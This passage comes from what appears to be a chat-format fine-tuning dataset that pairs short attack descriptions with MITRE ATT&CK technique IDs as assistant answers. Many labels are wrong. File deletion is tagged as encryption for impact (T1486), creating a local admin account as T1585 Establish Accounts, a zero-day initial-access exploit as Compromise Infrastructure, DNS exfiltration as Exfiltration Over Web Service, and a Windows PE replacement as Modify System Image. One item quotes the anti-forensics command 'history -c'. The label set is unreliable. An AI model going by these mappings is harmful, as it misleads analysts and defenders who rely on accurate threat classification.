                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign established a botnet of webcams, allowing remote attackers to spy on victims."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a hijacked internal proxy, the attacker forwards malicious HTTP requests to external command and control servers."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Windows Explorer context menu registry keys to include a malicious command that runs on right‑click events."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed a reconnaissance of public cloud storage endpoints and harvested any exposed CSV files."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware replaces the Windows password filter DLL to intercept and harvest clear‑text passwords during user logon."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code adds eBPF socket filter rules that capture credentials from network packets and send them to an external server."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary launches a flood of malformed network packets to the victim's network interface, overwhelming its processing capacity and causing a denial of service on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware erases indicators by unmounting network shares and removing connection entries from the victim's system."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team adjusted the cloud firewall's rule set to allow traffic from their command‑and‑control server, bypassing security controls."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor gains control of a VPS through credential stuffing on the provider's portal, then uses the server to launch further attacks against the target organization."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script executes \"history -c\" to erase all entries from the user's Bash command history."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A worm propagates and deletes all .docx files in the user’s Documents folder."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware copies confidential files to a cloud storage bucket via unauthenticated HTTP POST requests."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors used the AWS Systems Manager Session Manager to open a direct shell on a target EC2 instance without needing an open RDP port."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate system files by embedding the data in DNS query subdomains that are forwarded to an attacker‑controlled web service, which then reconstructs the payload."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware scans for database files, encrypts them using a custom algorithm, and then deletes the original files, demanding payment for the decryption key."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor creates a new local administrator account on compromised Windows hosts to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder leverages search engine dorks to discover pages on the target’s corporate sites that reveal employee names and internal tools."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential stuffing is used where stolen credential pairs from previous breaches are tried on a target site."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies an existing legitimate service's binary path to point to their ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts network configuration details by reading the registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised device loads a malicious PXE boot script, enabling the attacker to execute code before the OS loads."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign distributes malicious executables that have been signed with a bogus signature matching a popular software vendor."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code fragments the command string, concatenates it at runtime, and executes it to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group utilizes a Python script to decode a ROT13-obfuscated command list before execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries utilize an asymmetric cryptographic scheme to hide stolen data inside DNS requests to a malicious resolver, achieving exfiltration without using traditional C2 protocols."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a new local user account on the compromised host to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compress stolen files into a ZIP archive and upload it to a malicious AWS S3 bucket."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant encrypts victim files and then base64‑encodes the encrypted blobs before upload."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries modify the Windows code signing policy to allow unsigned executables to run without prompts."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker obtains a exploit for a remote code execution issue in a widely used library and integrates it into their exploit chain."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a man-in-the-browser technique to intercept and record login details submitted to an online banking portal."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The breach involved using the default 'admin' login for a web application after installation."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group uses a zero-day exploit to gain initial access to a targeted network."
            },
            {
                "role": "assistant",
                "content": "T1584 - Compromise Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT group modifies registry keys to set the start type of the Print Spooler service to disabled, effectively stopping it."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor compromises the source repository of a widely-used Python library, adding code that exfiltrates data from downstream projects that import the library via pip."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries the SMB shares on the network to locate file shares with write permissions."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor repurposes a compromised IoT device as a low‑bandwidth command server."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool spawns mshta.exe to run a hidden JavaScript snippet that escalates privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spyware accesses the Windows Management Instrumentation (WMI) class Win32_Product to retrieve software information."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary conducts a session hijacking attack by stealing a user's authentication cookie from an unsecured Wi‑Fi network."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor configures a cron schedule to execute a webshell downloader at midnight each day."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploited Google Cloud's Identity-Aware Proxy (IAP) to tunnel RDP traffic into a Compute Engine VM."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accesses paid vulnerability databases to gather data on unpatched software used by the victim."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uses the Google Cloud SDK to establish a direct SSH tunnel into a victim's Compute Engine instance."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary compromises a software vendor's build server and injects malicious code into legitimate software updates, which are then distributed to customers."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the TLS array of a benign process to load a malicious DLL during thread initialization."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder employed the DCSync method to synchronize credentials from the domain controller, obtaining Kerberos tickets for privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest configuration data from Salesforce metadata API to enumerate connected apps and their client secrets."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leveraged a privilege escalation exploit to rewrite the code‑signing policy in the security database, allowing unsigned drivers to load."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infiltrator modifies a legitimate screen‑recording utility to run in the background and covertly capture screen data."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During execution, the tool calls the macOS CoreLocation framework to determine the host's current position."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a high‑quality deep‑fake of the company's CEO, the attacker calls the finance department demanding immediate wire transfer details."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses rsync to sync harvested files to a remote Linux host for staging."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the ACL on a Windows service executable to grant write access, then replaces the binary with malicious code to execute with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT detected a backdoor that pulls passwords from the Firefox password manager and sends them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s tool creates domain names by concatenating the current month, day, and a random alphanumeric string, refreshing the list every hour."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group utilizes a remote Git repository to stage stolen source code."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign includes a script that enumerates stored RDP credentials from the Windows Vault and emails them to the threat actor."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtain a commercially sold network scanning suite through a fraudulent transaction on an illicit e‑commerce site."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages misconfigured service file permissions to substitute the legitimate service binary with a malicious version, achieving execution with high privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group compromised a legitimate remote management tool via an exploit, repurposing it to deliver custom exfiltration scripts onto target systems."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a misconfigured SAML endpoint, the attacker issues forged authentication tokens to access restricted resources."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting compromised IBM Cloud API keys, the malicious actor instantiated new virtual server instances to run ransomware payloads."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries modify the stored configuration files on the server to change logging levels and hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan extracts the device's cellular tower ID via telephony APIs to triangulate its geographic position."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a misconfigured remote management service to install a Remote Access Trojan that communicates over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary replaces the Windows PE executable with a maliciously altered image to persist after reboot."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor monitors network traffic for typical user browsing patterns and stays dormant if only automated traffic is observed, indicating a sandbox."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script abuses the Windows Service Control Manager to create a new service running as SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries set up a reverse proxy on a compromised web server to forward HTTP requests from victim machines to a remote malicious endpoint."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a fake Facebook profile using a stolen identity to post phishing links and gather victim credentials."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create a fake online forum to lure victims into downloading malicious tools."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use FTP command tunneling, wrapping malicious commands within FTP control messages to bypass firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends a fake invoice attachment that exploits a known vulnerability in PDF readers to gain access."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group injects a backdoor by inserting its own authentication package into the LSA, achieving persistent execution."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
